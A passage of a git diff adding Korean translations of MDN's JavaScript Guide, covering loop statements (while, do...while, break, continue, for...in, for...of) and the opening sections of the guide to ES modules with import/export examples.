+ alert('Number of options selected: ' + howMany(document.selectForm.musicTypes))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="do...while_문"><code>do...while</code> 문</h2>
+
+<p>do...while 문은 특정한 조건이 거짓으로 판별될 때까지 반복합니다. do...while 문은 다음과 같습니다.</p>
+
+<pre class="syntaxbox notranslate">do
+ 문장
+while (조건문);
+</pre>
+
+<p><code>조건문을 확인하기 전에 문장은 한번 실행됩니다. 많은 문장을 실행하기 위해선 { }를 써서 문장들을 묶어줍니다. 만약 조건이 참이라면, 그 문장은 다시 실행됩니다. 매 실행 마지막마다 조건문이 확인됩니다. 만약 조건문이 거짓일 경우, 실행을 멈추고 do...while 문 바로 아래에 있는 문장으로 넘어가게 합니다.</code></p>
+
+<h3 id="예시_2"><strong>예시</strong></h3>
+
+<p>다음 예제에서, do 반복문은 최소 한번은 반복됩니다. 그리고 i 가 5보다 작지 않을 때까지 계속 반복됩니다.</p>
+
+<pre class="brush: js notranslate">do {
+ i += 1;
+ console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="while_문"><code>while</code> 문</h2>
+
+<p>while 문은 어떤 조건문이 참이기만 하면 문장을 계속해서 수행합니다. while 문은 다음과 같습니다.</p>
+
+<pre class="syntaxbox notranslate">while (조건문)
+ 문장
+</pre>
+
+<p>만약 조건문이 거짓이 된다면, 그 반복문 안의 문장은 실행을 멈추고 반복문 바로 다음의 문장으로 넘어갑니다.</p>
+
+<p>조건문은 반복문 안의 문장이 실행되기 전에 확인 됩니다. 만약 조건문이 참으로 리턴된다면, 문장은 실행되고 그 조건문은 다시 판별됩니다. 만약 조건문이 거짓으로 리턴된다면, 실행을 멈추고 while문 바로 다음의 문장으로 넘어가게 됩니다.</p>
+
+<p>많은 문장들을 실행하기 위해선, { }를 써서 문장들을 묶어줍니다.</p>
+
+<h3 id="예시_1"><strong>예시 1</strong></h3>
+
+<p>다음 while 반복문은 n이 3보다 작은 한, 계속 반복됩니다.</p>
+
+<pre class="brush: js notranslate">n = 0;
+x = 0;
+while (n &lt; 3) {
+ n++;
+ x += n;
+}
+</pre>
+
+<p>매 반복과 함께, n이 증가하고 x에 더해집니다. 그러므로, x와 n은 다음과 같은 값을 갖습니다.</p>
+
+<ul>
+ <li>첫번째 경과 후: <code>n</code> = 1 and <code>x</code> = 1</li>
+ <li>두번째 경과 후: <code>n</code> = 2 and <code>x</code> = 3</li>
+ <li>세번째 경과 후: <code>n</code> = 3 and <code>x</code> = 6</li>
+</ul>
+
+<p>세번째 경과 후에, n &lt; 3 은 더이상 참이 아니므로, 반복문은 종결됩니다.</p>
+
+<h3 id="예시_2_2"><strong>예시 2</strong></h3>
+
+<p>조건문은 항상 거짓이 될지라도 무한 루프는 피해야 합니다. 그렇지 않으면 그 반복문은 영원히 끝나지 않을 것입니다. 아래의 while 문은 조건문이 절대 거짓이 될 수 없으므로 영원히 반복될 것입니다.</p>
+
+<pre class="brush: js notranslate">// 다음과 같은 코드는 피하세요.
+while (true) {
+ console.log("Hello, world");
+}</pre>
+
+<h2 id="레이블_문">레이블 문</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">레이블</a>은 여러분이 프로그램에서 다른 곳으로 참조할 수 있도록 식별자로 문을 제공합니다. 예를 들어, 여러분은 루프를 식별하기 위해 레이블을 사용하고, 프로그램이 루프를 방해하거나 실행을 계속할지 여부를 나타내기 위해 break나 continue 문을 사용할 수 있습니다.</p>
+
+<p>레이블 문의 구문은 다음과 같습니다:</p>
+
+<pre class="syntaxbox notranslate">label :
+ statement
+</pre>
+
+<p><em><font face="Consolas">레이블</font></em>  값은 예약어가 아닌 임의의 JavaScript 식별자일 수 있습니다. 여러분이 레이블을 가지고 식별하는 <em><font face="Consolas">문</font></em>은 어떠한 문이 될 수 있습니다.</p>
+
+<h3 id="예시_3"><strong>예시</strong></h3>
+
+<p>이 예에서, 레이블 markLoop는 while 루프를 식별합니다.</p>
+
+<pre class="brush: js notranslate">markLoop:
+while (theMark == true) {
+ doSomething();
+}</pre>
+
+<h2 id="break_문"><code>break</code> 문</h2>
+
+<p>break문은 반복문, switch문, 레이블 문과 결합한 문장을 빠져나올  때 사용합니다.</p>
+
+<ul>
+ <li>레이블 없이 break문을 쓸 때: 가장 가까운 <code>while</code>, <code>do-while</code>, <code>for</code>, 또는 <code>switch</code>문을 종료하고 다음 명령어로 넘어갑니다.</li>
+ <li>레이블 문을 쓸 때: 특정 레이블 문에서 끝납니다.</li>
+</ul>
+
+<p>break문의 문법은 다음과 같습니다.</p>
+
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break <em>[레이블]</em>;</code></li>
+</ol>
+
+<p>break문의 첫번째 형식은 가장 안쪽의 반복문이나 switch문을 빠져나옵니다. 두번째 형식는 특정한 레이블 문을 빠져나옵니다.</p>
+
+<h3 id="예시_1_2"><strong>예시</strong> <strong>1</strong></h3>
+
+<p>다음 예</p>
+
+<pre class="brush: js notranslate">for (i = 0; i &lt; a.length; i++) {
+ if (a[i] == theValue) {
+ break;
+ }
+}</pre>
+
+<h3 id="예시_2_Breaking_to_a_label"><strong>예시 2: </strong>Breaking to a label</h3>
+
+<pre class="brush: js notranslate">var x = 0;
+var z = 0
+labelCancelLoops: while (true) {
+ console.log("Outer loops: " + x);
+ x += 1;
+ z = 1;
+ while (true) {
+ console.log("Inner loops: " + z);
+ z += 1;
+ if (z === 10 &amp;&amp; x === 10) {
+ break labelCancelLoops;
+ } else if (z === 10) {
+ break;
+ }
+ }
+}
+</pre>
+
+<h2 id="continue_문">continue 문</h2>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a></code> 문은 while, do-while, for, 레이블 문을 다시 시작하기 위해 사용될 수 있습니다.</p>
+
+<ul>
+ <li>레이블없이 continue를 사용하는 경우, 그것은 가장 안쪽의 while, do-while, for 문을 둘러싼 현재 반복을 종료하고, 다음 반복으로 루프의 실행을 계속합니다. <font face="Consolas">break</font>문과 달리, continue 문은 전체 루프의 실행을 종료하지 않습니다. while 루프에서 그것은 다시 조건으로 이동합니다. for 루프에서 그것은 증가 표현으로 이동합니다.</li>
+ <li>레이블과 함께 continue를 사용하는 경우, continue는 그 레이블로 식별되는 루프 문에 적용됩니다.</li>
+</ul>
+
+<p>continue 문의 구문은 다음과 같습니다:</p>
+
+<ol>
+ <li><code>continue;</code></li>
+ <li><code>continue </code><em><code>label;</code></em></li>
+</ol>
+
+<h3 id="예시_1_3"><strong>예시 1</strong></h3>
+
+<p>다음의 예는 i 값이 3일 때 실행하는 continue 문과 함께 while 루프를 보여줍니다. 따라서, n은 값 1, 3, 7, 12를 취합니다.</p>
+
+<pre class="brush: js notranslate">i = 0;
+n = 0;
+while (i &lt; 5) {
+ i++;
+ if (i == 3) {
+ continue;
+ }
+ n += i;
+}
+</pre>
+
+<h3 id="예시_2_3"><strong>예시 2</strong></h3>
+
+<p>checkiandj 레이블 문은 checkj 레이블 문을 포함합니다. continue가 발생하는 경우, 프로그램은 checkj의 현재 반복을 종료하고, 다음 반복을 시작합니다. 그 조건이 false를 반환 할 때까지 continue가 발생할 때마다, checkj는 반복합니다. false가 반환될 때, checkiandj 문의 나머지 부분은 완료되고, 그 조건이 false를 반환 할 때까지 checkiandj는 반복합니다. false가 반환될 때, 이 프로그램은 다음 checkiandj 문에서 계속됩니다.</p>
+
+<p>continue가 checkiandj의 레이블을 가지고 있다면, 프로그램은 checkiandj 문 상단에서 계속될 것입니다.</p>
+
+<pre class="brush: js notranslate">checkiandj:
+ while (i &lt; 4) {
+ console.log(i);
+ i += 1;
+ checkj:
+ while (j &gt; 4) {
+ console.log(j);
+ j -= 1;
+ if ((j % 2) == 0) {
+ continue checkj;
+ }
+ console.log(j + " is odd.");
+ }
+ console.log("i = " + i);
+ console.log("j = " + j);
+ }</pre>
+
+<h2 id="for...in_문"><code>for...in</code> 문</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>  문은 객체의 열거 속성을 통해 지정된 변수를 반복합니다. 각각의 고유한 속성에 대해, JavaScript는 지정된 문을 실행합니다. for...in 문은 다음과 같습니다:</p>
+
+<pre class="syntaxbox notranslate">for (variable in object) {
+ statements
+}
+</pre>
+
+<h3 id="예시_4"><strong>예시</strong></h3>
+
+<p>다음 함수는 객체와 객체의 이름을 함수의 인수로 취합니다. 그런 다음 모든 객체의 속성을 반복하고 속성 이름과 값을 나열하는 문자열을 반환합니다.</p>
+
+<pre class="brush: js notranslate">function dump_props(obj, obj_name) {
+ var result = "";
+ for (var i in obj) {
+ result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+ }
+ result += "&lt;hr&gt;";
+ return result;
+}
+</pre>
+
+<p>속성 make와 model을 가진 객체 car의 경우, 결과는 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="배열"><strong>배열</strong></h3>
+
+<p>{{jsxref("배열")}} 요소를 반복하는 방법으로 이를 사용하도록 유도될 수 있지만, <strong>for...in</strong> 문은 숫자 인덱스에 추가하여 사용자 정의 속성의 이름을 반환합니다. 따라서 만약 여러분이 사용자 정의 속성 또는 메서드를 추가하는 등 Array 객체를 수정한다면, 배열 요소 이외에도 사용자 정의 속성을 통해 <strong>for...in</strong> 문을 반복하기 때문에, 배열을 통해 반복할 때 숫자 인덱스와 전통적인 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> 루프를 사용하는 것이 좋습니다.</p>
+
+<h2 id="for...of_문"><code>for...of</code> 문</h2>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> 문은 각각의 고유한 특성의 값을 실행할 명령과 함께 사용자 지정 반복 후크를 호출하여, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">반복 가능한 객체</a>({{jsxref("배열")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">인수</a> 객체 등을 포함)를 통해 반복하는 루프를 만듭니다.</p>
+
+<pre class="syntaxbox notranslate">for (<em>variable</em> of <em>object</em>) {
+ <em>statement
+</em>}</pre>
+
+<p>다음 예는 for...of 루프와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> 루프의 차이를 보여줍니다. 속성 이름을 통해 for...in이 반복하는 동안, for...of은 속성 값을 통해 반복합니다:</p>
+
+<pre class="brush:js notranslate">let arr = [3, 5, 7];
+arr.foo = "hello";
+
+for (let i in arr) {
+ console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+ console.log(i); // logs "3", "5", "7"
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/ko/web/javascript/guide/modules/index.html b/files/ko/web/javascript/guide/modules/index.html
new file mode 100644
index 0000000000..b52283a0fc
--- /dev/null
+++ b/files/ko/web/javascript/guide/modules/index.html
@@ -0,0 +1,414 @@
+---
+title: JavaScript modules
+slug: Web/JavaScript/Guide/Modules
+translation_of: Web/JavaScript/Guide/Modules
+---
+<div>{{jsSidebar("JavaScript Guide")}}{{Previous("Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p>이 가이드는 자바스크립트 모듈 구문을 시작하는데 필요한 모든 것을 제공합니다.</p>
+
+<h2 id="A_background_on_modules">A background on modules</h2>
+
+<p>자바스크립트 프로그램은 꽤 작게 시작되었습니다. 초기에 사용 된 대부분의 스크립트는 독립적인 작업을 수행하여, 필요한 경우 웹 페이지에 약간의 상호 작용을 제공하므로 일반적으로 큰 스크립트가 필요하지 않았습니다. 몇년 후 자바스크립트는 많은 브라우저에서 실행되고 있는 완전한 애플리케이션을 실행할 수 있을 뿐 아니라,  다른 컨텍스트에서 (예를들면 <a href="/en-US/docs/Glossary/Node.js">Node.js</a>) 자바스크립트를 사용하게 됩니다.</p>
+
+<p>따라서 최근 몇 년 동안 자바스크립트 프로그램을 필요에 따라 가져올 수 있는, 별도의 모듈로 분할하기 위한 매커니즘을 제공하는 것에 대해 생각하기 시작했습니다.  node.js는 오랫동안 이러한 능력을 가지고 있었고, 모듈 사용을 가능하게하는 많은 자바스크립트 라이브러리와 프레임워크가 있습니다. (예를들어 <a href="https://requirejs.org/">RequireJS</a>와 같은 <a href="https://en.wikipedia.org/wiki/CommonJS">CommonJS</a> 와 <a href="https://github.com/amdjs/amdjs-api/blob/master/AMD.md">AMD</a>기반 모듈 시스템, 더 최근에는 <a href="https://webpack.github.io/">Webpack</a>과 <a href="https://babeljs.io/">Babel</a> 같은 모듈 기반 시스템이 있습니다.)</p>
+
+<p>좋은 소식은 최신 브라우저가 기본적으로 모듈 기능을 지원하기 시작했으며, 이것이 이 기사의 전부입니다. 브라우저는 모듈의 로딩을 최적화 할 수 있기 때문에 라이브러리를 사용하는 것보다 더 효율적이며, 클라이언트 측에서의 추가 처리와 여분의 왕복을 모두 해야하는 것 보다 효율적입니다.</p>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>네이티브 자바스크립트 모듈은 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code>와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a></code> 문(statement)에 의존적이며, 호환성은 다음과 같습니다.</p>
+
+<h3 id="import">import</h3>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h3 id="export">export</h3>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Introducing_an_example">Introducing an example</h2>
+
+<p>모듈 사용법을 설명하기 위해 Github에 <a href="https://github.com/mdn/js-examples/tree/master/modules">간단한 예제 모음</a>을 만들었습니다. 이 예제들은 웹 페이지에 {{htmlelement("canvas")}} 요소(element)를 만들고, 캔버스에 다양한 도형을 그리고, 그린것에 대한 정보를 보고하는 간단한 모듈 집합입니다.</p>
+
+<p>이것들은 매우 사소한 것이지만, 모듈을 명확하게 설명하기 의해 의도적으로 단순하게 유지중입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 예제를 다운로드하여 로컬에서 실행하려면, 로컬 웹 서버를 통해 예제를 실행해야 합니다.</p>
+</div>
+
+<h2 id="Basic_example_structure">Basic example structure</h2>
+
+<p>첫 번째 예제(<a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>)를 보면 다음과 같은 파일 구조가 있습니다.</p>
+
+<pre class="notranslate">index.html
+main.js
+modules/
+ canvas.js
+ square.js</pre>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 이 가이드의 모든 예제는 기본적으로 동일한 구조를 가집니다. 위의 내용에 익숙해지시는게 좋습니다.</p>
+</div>
+
+<p>modules 디렉토리의 두 모듈은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>canvas.js</code> — 캔버스 설정과 관련된 기능을 포함합니다.
+
+ <ul>
+ <li><code>create()</code> — 지정한 ID를 가진 래퍼 {{htmlelement("div")}} 안에, 지정한 <code>width</code> 와 <code>height</code> 를 가진 캔버스를 생성합니다. 지정한 ID(첫 번째 인자)는 지정한 부모 요소(두 번째 인자)안에 추가됩니다. 캔버스의 2D 컨텍스트와 래퍼(wrapper div)의 ID가 들어있는 객체를 반환합니다.</li>
+ <li><code>createReportList()</code> — 데이터를 출력하는데 사용할 수 있는, 지정한 래퍼 요소(div) 안에 추가 된 정렬되지 않은 리스트(ul)를 만듭니다. 리스트의 ID를 반환합니다.</li>
+ </ul>
+ </li>
+ <li><code>square.js</code> — 다음을 포함합니다.
+ <ul>
+ <li><code>name</code> — 문자열 'square'를 담고있는 상수입니다.</li>
+ <li><code>draw()</code> — 지정된 크기, 위치, 색상을 사용하여 지정된 캔버스에 사각형을 그립니다. 사각형의 크기, 위치, 색상을 포함하는 객체를 반환합니다.</li>
+ <li><code>reportArea()</code> — 길이가 주어지면 사각형의 넓이를 지정한 보고서 리스트에 작성합니다.</li>
+ <li><code>reportPerimeter()</code> — 길이가 주어지면 사각형의 둘레를 지정한 보고서 리스트에 작성합니다.</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="Exporting_module_features">Exporting module features</h2>
+
+<p>모듈 기능을 사용하려면 먼저 함수를 export 해야 합니다. 이 작업은 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">export</a></code> 문(statement)을 사용하여 수행합니다.</p>
+
+<p>이를 사용하는 가장 쉬운 방법은 모듈 밖으로 내보내려는 항목 앞에 (export를) 배치하는 것입니다. 예를들면 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">export const name = 'square';
+
+export function draw(ctx, length, x, y, color) {
+ ctx.fillStyle = color;
+ ctx.fillRect(x, y, length, length);
+
+ return {
+ length: length,
+ x: x,
+ y: y,
+ color: color
+ };
+}</pre>
+
+<p>functions, <code>var</code>, <code>let</code>, <code>const</code>, class를 내보낼 수 있지만, 최상위 항목이어야 합니다. 예를들어, 함수 안에서 <code>export</code>를 사용할 수 없습니다.</p>
+
+<p>여러 항목을 내보내는 더 편리한 방법은 모듈 파일 끝에 하나의 export 문을 사용하는 것입니다. 그 다음에 내보내려는 기능들을 쉼표로 구분하여 나열하고 중괄호로 묶습니다.</p>
+
+<pre class="brush: js notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<h2 id="Importing_features_into_your_script">Importing features into your script</h2>
+
+<p>모듈에서 일부 기능을 내보낸 후에는, 이를 사용할 수 있도록 우리가 사용할 스크립트로 가져와야 합니다. 가장 간단한 방법은 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code> 문(statement)을 사용하고, 가져올 목록을 쉼표로 구분하여 나열한 뒤 괄호로 묶습니다. 그 뒤에는 from을 쓰고 모듈 파일의 경로를 작성합니다. (사이트 루트에 연관된 경로로, 우리의 <code>basic-modules</code> 예제는 <code>/js-examples/modules/basic-modules</code> 입니다) <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>에서 이러한 코드를 볼 수 있습니다.</p>
+
+<p>그러나 우리는 경로를 조금 다르게 작성했습니다. 우리는 "현재 위치"를 의미하는 점(.) 구문을 사용하고 있으며, 그 다음에 찾고자하는 파일의 경로를 뒤에 써 줍니다. 이것은 상대적으로 전체 상대 경로를 작성하는 것보다 훨씬 빠르며, URL이 더 짧아 지므로 사이트 계층 구조의 다른 위치로 이동하더라도 이 예제가 계속 작동합니다.</p>
+
+<p>예를들면,</p>
+
+<pre class="notranslate"><code>/js-examples/modules/basic-modules/modules/square.js</code></pre>
+
+<p>이렇게 쓸 수 있습니다.</p>
+
+<pre class="notranslate"><code>./modules/square.js</code></pre>
+
+<p><code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>에서 이러한 코드를 볼 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 일부 모듈 시스템에서는 파일 확장명을 생략할 수 있습니다. (예: <code>'/modules/square'</code>). 이것은 네이티브 자바스크립트에서는 작동하지 않습니다. 또한 앞에 슬래시를 포함해야 합니다.</p>
+</div>
+
+<p>우리의 스크립트에 기능을 가져오면 동일한 파일 내에 정의한 것처럼 기능을 사용할 수 있습니다. 다음은 <code>main.js</code> 의 import 행 아래에 있습니다.</p>
+
+<pre class="brush: js notranslate">let myCanvas = create('myCanvas', document.body, 480, 320);
+let reportList = createReportList(myCanvas.id);
+
+let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue');
+reportArea(square1.length, reportList);
+reportPerimeter(square1.length, reportList);
+</pre>
+
+<h2 id="Applying_the_module_to_your_HTML">Applying the module to your HTML</h2>
+
+<p>이제 <code>main.js</code> 모듈을 HTML 페이지에 적용하면 됩니다. 이는 몇 가지 주목할만한 차이점을 제외하면 HTML페이지에 일반 스크립트를 적용하는것과 매우 유사합니다.</p>
+
+<p>이 스크립트를 모듈로 선언하려면 {{htmlelement("script")}} 요소(element)에 <code>type="module"</code> 을 포함시켜야 합니다.</p>
+
+<pre class="brush: js notranslate">&lt;script type="module" src="main.js"&gt;&lt;/script&gt;</pre>
+
+<p>기본적으로 모듈 기능을 가져오는 스크립트는 최상위 모듈로 작동합니다. 이를 생략하면 파이어폭스로 예를들면, "SyntaxError: import declarations may only appear at top level of a module"라는 오류를 줍니다.</p>
+
+<p><code>import</code> 와 <code>export</code> 문(statement)은 모듈 내에서만 사용할 수 있습니다. 정규 스크립트가 아닙니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: <code>type="module"</code>을 포함하면 인터널 스크립트에서도 import 모듈을 사용할 수 있습니다. 예: <code>&lt;script type="module"&gt; /* 여기에 코드를 작성하세요 */ &lt;/script&gt;</code>.</p>
+</div>
+
+<h2 id="Other_differences_between_modules_and_standard_scripts">Other differences between modules and standard scripts</h2>
+
+<ul>
+ <li>로컬 테스트에서의 주의 사항 — HTML파일을 로컬(예를들어 <code>file://</code> URL)에서 로드하려고 하면, 자바스크립트 모듈 보안 요구 사항으로 인해 CORS오류가 발생합니다. 서버를 통해 테스트 해야 합니다.</li>
+ <li>표준 스크립트와 달리 모듈 내부에서 정의된 스크립트 섹션과는 다르게 동작할 수 있습니다. 이는 모듈이 자동적으로 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>를 사용하기 때문입니다.</li>
+ <li>모듈 스크립트를 불러올 때 <code>defer</code> 속성(<a href="/ko/docs/Web/HTML/Element/script#Attributes"><code>&lt;script&gt;</code> attributes</a>)를 사용할 필요가 없습니다. 모듈은 자동으로 defer됩니다.</li>
+ <li>마지막으로 모듈 기능을 단일 스크립트의 스코프로 가져왔음을 분명히 해야 합니다. — 전역 스코프에서는 사용할 수 없습니다. 따라서 import한 스크립트에서 가져온 기능에만 접근할 수 있습니다. 예를들어 자바스크립트 콘솔에서 접근할 수 없습니다. DevTools에 구문 오류가 표시되지만, 사용하려고 하는 디버깅 기술 중 일부는 사용할 수 없습니다.</li>
+</ul>
+
+<h2 id="Default_exports_versus_named_exports">Default exports versus named exports</h2>
+
+<p>지금까지 우리가 export 한 기능은 <strong>named exports</strong> 로 구성되었습니다. 각 항목(function, <code>const</code> 등)은 export 할 때 이름으로 참조되었으며, import 할 때에 이 이름을 참조하여 사용합니다.</p>
+
+<p>그 외에도 <strong>default export</strong> 라고 부르는 export 도 있습니다. 이것은 모듈이 제공하는 기본 기능을 쉽게 만들 수 있도록 설계되었습니다. 또한 자바스크립트 모듈을 기존의 CommonJS 와 AMD 모듈 시스템과 함께 사용(interpolate)하는데도 도움이 됩니다. (Jason Orendorff에 의해 작성된 <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 In Depth: Modules</a> 에 설명되어있습니다. "Default exports"를 검색해보세요)</p>
+
+<p>예제를 가지고 어떻게 작동하는지 살펴보겠습니다. 예제 중 basic-modules 프로젝트의 <code>square.js</code> 파일에서 임의의 색상, 크기, 위치로 갖는 사각형을 만드는 <code>randomSquare()</code> 라는 함수를 찾을 수 있습니다. 이것을 기본값으로 export하려고 하므로, 파일의 맨 아래에 다음과 같이 씁니다.</p>
+
+<pre class="brush: js notranslate">export default randomSquare;</pre>
+
+<p>중괄호가 없음에 주의하세요.</p>
+
+<p>대신 함수 앞에 <code>export default</code> 를 추가하고, 다음과 같이 익명함수로 선언할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">export default function(ctx) {
+ ...
+}</pre>
+
+<p><code>main.js</code> 파일에서 다음 코드처럼 사용하면, default function이 import 됩니다.</p>
+
+<pre class="brush: js notranslate">import randomSquare from './modules/square.js';</pre>
+
+<p>다시 말하지만, 중괄호가 없다는 점에 유의하세요. 하나의 모듈은 하나의 default export만 허용하기 때문에 우리는 <code>randomSquare</code> 가 해당 모듈임을 알 수 있습니다. 위의 코드는 아래의 코드를 단축하여 사용한 것입니다.</p>
+
+<pre class="brush: js notranslate">import {default as randomSquare} from './modules/square.js';</pre>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: export한 항목의 이름을 바꾸는 구문은 {{anch("Renaming imports and exports")}} 섹션에서 설명합니다.</p>
+</div>
+
+<h2 id="Avoiding_naming_conflicts">Avoiding naming conflicts</h2>
+
+<p>지금까지 우리의 캔버스 도형 그리기 모듈은 제대로 작동하는 것 같습니다. 원이나 삼각형처럼 다른 도형을 그리는 모듈을 추가하려고 하면 어떻게 될까요? 이 도형(shape)에는 아마도 <code>draw()</code>, <code>reportArea()</code> 등과 같은 관련 함수가 있을 것입니다. 동일한 이름의 여러 함수를 동일한 최상위 모듈로 가져오려고 하면, 충돌과 에러가 발생합니다.</p>
+
+<p>다행스럽게도 이 문제를 해결할 수 있는 여러가지 방법이 있습니다. 다음 섹션에서 이 내용을 살펴보겠습니다.</p>
+
+<h2 id="Renaming_imports_and_exports">Renaming imports and exports</h2>
+
+<p><code>import</code> 와 <code>export</code> 문(statement)의 중괄호 안에 <code>as</code> 키워드를 새 함수의 이름으로 함께 사용하여, 최상위 모듈 내부의 함수들을 식별 가능한 이름으로 변경할 수 있습니다.</p>
+
+<p>예를들어 다음 두 가지 방법은 약간의 차이가 있지만, 두 방법 모두 동일한 작업을 수행하고 있습니다.</p>
+
+<pre class="brush: js notranslate">// inside module.js
+export {
+ function1 as newFunctionName,
+ function2 as anotherNewFunctionName
+};
+
+// inside main.js
+import { newFunctionName, anotherNewFunctionName } from './modules/module.js';</pre>
+
+<pre class="brush: js notranslate">// inside module.js
+export { function1, function2 };
+
+// inside main.js
+import { function1 as newFunctionName,
+ function2 as anotherNewFunctionName } from './modules/module.js';</pre>
+
+<p>실제 사례를 살펴보겠습니다. <a href="https://github.com/mdn/js-examples/tree/master/modules/renaming">renaming</a> 디렉토리에서 원과 삼각형을 그리고 보고하기 위해 <code>circle.js</code> 와 <code>triangle.js</code> 모듈을 추가한다는 점만 제외하면, 앞의 예와 동일한 모듈 시스템을 볼 수 있습니다.</p>
+
+<p>이 모듈듈 각각에는 내부적으로 동일한 이름의 기능이 있습니다. 따라서 각각 하단에 동일한 export 문(statement)이 있습니다.</p>
+
+<pre class="brush: js notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>이것들을 <code>main.js</code>에 가져올 때 우리는 다음과 같이 시도할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/circle.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';</pre>
+
+<p>위와같이 적으면 브라우저에서 "SyntaxError: redeclaration of import name"과 같은 오류가 발생합니다. (Firefox).</p>
+
+<p>대신 import가 고유하도록(식별 가능하도록) 이름을 변경해야 합니다.</p>
+
+<pre class="brush: js notranslate">import { name as squareName,
+ draw as drawSquare,
+ reportArea as reportSquareArea,
+ reportPerimeter as reportSquarePerimeter } from './modules/square.js';
+
+import { name as circleName,
+ draw as drawCircle,
+ reportArea as reportCircleArea,
+ reportPerimeter as reportCirclePerimeter } from './modules/circle.js';
+
+import { name as triangleName,
+ draw as drawTriangle,
+ reportArea as reportTriangleArea,
+ reportPerimeter as reportTrianglePerimeter } from './modules/triangle.js';</pre>
+
+<p>다음과 같이 import하는 파일 대신 모듈 파일에서 문제를 해결할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">// in square.js
+export { name as squareName,
+ draw as drawSquare,
+ reportArea as reportSquareArea,
+ reportPerimeter as reportSquarePerimeter };</pre>
+
+<pre class="brush: js notranslate">// in main.js
+import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.js';</pre>
+
+<p>그리고 이것은 똑같이 작동 할 것입니다. 사용하는 스타일은 개인의 취향이지만, 모듈 코드를 그대로 두고 import 를 변경하는 것이 더 합리적입니다. 특히 제어 권한이 없는 써드 파티 모듈에서 import를 사용하는 경우에 특히 유용합니다.</p>
+
+<h2 id="Creating_a_module_object">Creating a module object</h2>
+
+<p>위의 방법은 정상적으로 작동하지만, 다소 지저분하고 길어질 수 있습니다. 보다 나은 해결책은 각 모듈의 기능을 모듈 객체 내부로 가져오는 것입니다. 다음과 같은 구문을 사용합니다.</p>
+
+<pre class="brush: js notranslate">import * as Module from './modules/module.js';</pre>
+
+<p>이 모듈은 <code>module.js</code> 내에서 사용할 수 있는 모든 export를 가져옵니다. 그리고 그것들을 객체 <code>Module</code> 의 멤버로 만들고 우리 임의의 효과적인 네임스페이스를 제공합니다.</p>
+
+<pre class="brush: js notranslate">Module.function1()
+Module.function2()
+etc.</pre>
+
+<p>다시 한 번 실제 사례를 살펴보겠습니다. <a href="https://github.com/mdn/js-examples/tree/master/modules/module-objects">module-objects</a> 디렉토리로 가면 같은 예제를 볼 수 있지만, 새로운 구문을 이용하기 위해 다시 작성합니다. 모듈에서 export는 모두 다음과 같은 간단한 형식으로 이루어집니다.</p>
+
+<pre class="brush: js notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>반면에 import는 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">import * as Canvas from './modules/canvas.js';
+
+import * as Square from './modules/square.js';
+import * as Circle from './modules/circle.js';
+import * as Triangle from './modules/triangle.js';</pre>
+
+<p>각각의 경우에, 지정한 객체 이름 아래에 있는 모듈의 import에 접근할 수 있습니다. 다음은 그 예시입니다.</p>
+
+<pre class="brush: js notranslate">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue');
+Square.reportArea(square1.length, reportList);
